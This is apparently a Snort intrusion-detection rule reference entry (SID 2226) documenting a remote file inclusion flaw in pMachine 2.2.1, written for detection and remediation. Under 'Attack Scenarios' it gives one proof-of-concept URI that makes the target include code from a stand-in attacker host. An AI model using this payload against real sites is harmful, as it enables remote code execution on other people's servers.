Rule:  

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Sid:
2226

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Summary:
This event is generated when an attempt is made to exploit a known 
vulnerability in the PHP application pmachine.

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Impact:
Execution of arbitrary code possibly leading to a remote shell.

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Detailed Information:
Versions of PMachine do not properly check included files and it is 
possible for an attacker to include a file of their choosing which may 
lead to arbitrary code execution on the target host.

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Affected Systems:
	PMachine PMachine 2.2.1

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Attack Scenarios:
The attacker can include a file of their choosing by appending the file 
URI to the end of a URI for the application.

Proof of concept URI by FrogMan:

http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=/badcode.txt

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Ease of Attack:
Simple. No exploit software required.

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False Positives:
None known.

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False Negatives:
None known.

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Corrective Action:
Upgrade to the latest non-affected version of the software.

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Contributors:
Sourcefire Research Team
Brian Caswell <bmc@sourcefire.com>
Nigel Houghton <nigel.houghton@sourcefire.com>

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Additional References:

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